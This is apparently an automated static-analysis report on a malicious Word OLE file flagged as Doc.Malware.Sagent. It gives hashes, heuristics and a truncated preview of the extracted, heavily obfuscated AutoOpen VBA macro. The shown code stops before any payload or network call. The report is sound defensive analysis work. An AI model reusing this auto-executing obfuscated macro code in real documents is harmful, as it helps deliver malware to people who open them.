Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8ee21e3a61d90f9c…

MALICIOUS

Office (OLE)

170.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 2717353a666a9f7d749ec187e3ddd5eb SHA-1: 2fc000c3a97da870f1f439fa1bef1e39eb6770de SHA-256: 8ee21e3a61d90f9c13fb7350322b185fe788dbbf8b2202ee3098d0b6f3e97c93
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious OLE document containing a legacy WordBasic AutoOpen macro, as indicated by the OLE_LEGACY_WORDBASIC_AUTOEXEC and OLE_VBA_AUTOOPEN heuristics. The ClamAV detection 'Doc.Malware.Sagent-6697295-0' further confirms its malicious nature. The VBA script is heavily obfuscated, but the presence of the AutoOpen macro strongly suggests it's designed to execute malicious actions immediately upon document opening.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 63485 bytes
SHA-256: b703598bb539ccbbce864435c60cad85555596191ad77f774a8745edf978d84b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const aosenaZACAvyvYleGYpaauBoHuRayXiaYBo = 0
Sub AutoOpen()
On Error Resume Next
Dim GokuolePEbeguMzicAquXyHAwuZOleHycoN(4)
Dim MUHixAvINyXQoxeLiVYjOCEH(4)

If 12 = 12 + (9 * 0) Then
MUHixAvINyXQoxeLiVYjOCEH(0) = CLng(2607)
End If
MUHixAvINyXQoxeLiVYjOCEH(1) = Sqr(9)
MUHixAvINyXQoxeLiVYjOCEH(2) = Month(26072607)
MUHixAvINyXQoxeLiVYjOCEH(3) = Fix(2607.9)
Dim GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(4)

If 13 = 13 + (6 * 0) Then
GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(0) = CLng(2535)
End If
GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(1) = Sqr(6)
GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(2) = Month(25352535)
GybYNOjyzeSIRzuVufOLaZINaNIVIvAjeFeFADUn(3) = Fix(2535.6)

Dim zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(4)

If 11 = 11 + (9 * 0) Then
zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(0) = CLng(2693)
End If
zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(1) = Sqr(9)
zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(2) = Month(26932693)
zYSiBmeCIaaBAibOFEsuJYVeqOfaWiQuxefA(3) = Fix(2693.9)
Dim VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(4)

If 11 = 11 + (9 * 0) Then
VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(0) = CLng(961)
End If
VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(1) = Sqr(9)
VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(2) = Month(961961)
VYCEConIbukYniFamYjosUNADYgybIxOJuwyKudOwAze(3) = Fix(961.9)
If 13 = 13 + (3 * 0) Then
GokuolePEbeguMzicAquXyHAwuZOleHycoN(0) = CLng(1135)
End If
Dim QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(4)

If 11 = 11 + (3 * 0) Then
QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(0) = CLng(4730)
End If
QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(1) = Sqr(3)
QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(2) = Month(47304730)
QYPOIhuNObAQaWiKatililABYwoLoTAkIsyrijO(3) = Fix(4730.3)
Dim PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(4)

If 11 = 11 + (10 * 0) Then
PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(0) = CLng(4312)
End If
PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(1) = Sqr(10)
PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(2) = Month(43124312)
PUkYpeyPIGIDAseKudIZIXwYniwaaIpypyGOPO(3) = Fix(4312.1)
GokuolePEbeguMzicAquXyHAwuZOleHycoN(1) = Sqr(3)
Dim hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(4)

If 13 = 13 + (3 * 0) Then
hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(0) = CLng(4178)
End If
hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(1) = Sqr(3)
hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(2) = Month(41784178)
hYXOkUHahiCyPyQuKeqAtcyQUsecohufUbyDA(3) = Fix(4178.3)
Dim KEbeViByZPOnOdkageHiQImuu(4)

If 10 = 10 + (4 * 0) Then
KEbeViByZPOnOdkageHiQImuu(0) = CLng(2394)
End If
KEbeViByZPOnOdkageHiQImuu(1) = Sqr(4)
KEbeViByZPOnOdkageHiQImuu(2) = Month(23942394)
KEbeViByZPOnOdkageHiQImuu(3) = Fix(2394.4)
GokuolePEbeguMzicAquXyHAwuZOleHycoN(2) = Month(11351135)
Dim RoRuhoMuByneLYDEiGeziCAmIDorYv(4)

If 11 = 11 + (5 * 0) Then
RoRuhoMuByneLYDEiGeziCAmIDorYv(0) = CLng(3946)
End If
RoRuhoMuByneLYDEiGeziCAmIDorYv(1) = Sqr(5)
RoRuhoMuByneLYDEiGeziCAmIDorYv(2) = Month(39463946)
RoRuhoMuByneLYDEiGeziCAmIDorYv(3) = Fix(3946.5)
GokuolePEbeguMzicAquXyHAwuZOleHycoN(3) = Fix(1135.3)
Dim nYXOPEBCWaPuJUKEQYHuxVoVYdAqYiyjUioNEpUDODI(4)
Dim HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(4)

If 13 = 13 + (7 * 0) Then
HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(0) = CLng(6413)
End If
HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(1) = Sqr(7)
HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(2) = Month(64136413)
HoJOJicoQUJuKopuDoFYcUGOPEWfIKeB(3) = Fix(6413.7)
Dim XufynijwACUMzEhicYKAhECyBapAfogOS(4)

If 11 = 11 + (5 * 0) Then
XufynijwACUMzEhicYKAhECyBapAfogOS(0) = CLng(7881)
End If
XufynijwACUMzEhicYKAhECyBapAfogOS(1) = Sqr(5)
XufynijwACUMzEhicYKAhECyBapAfogOS(2) = Month(78817881)
XufynijwACUMzEhicYKAhECyBapAfogOS(3) = Fix(7881.5)

If 12 = 12 + (1 * 0) Then
nYXOPEBCWaPuJUKEQYHuxVoVYdAqYiyjUioNEpUDODI(0) = CLng(6951)
Dim KUVEvyQvowAjmaIVoahOWIiiJuMyHyiycoM(4)

If 13 = 13 + (8 * 0) Then
KUVEvyQv
... (truncated)

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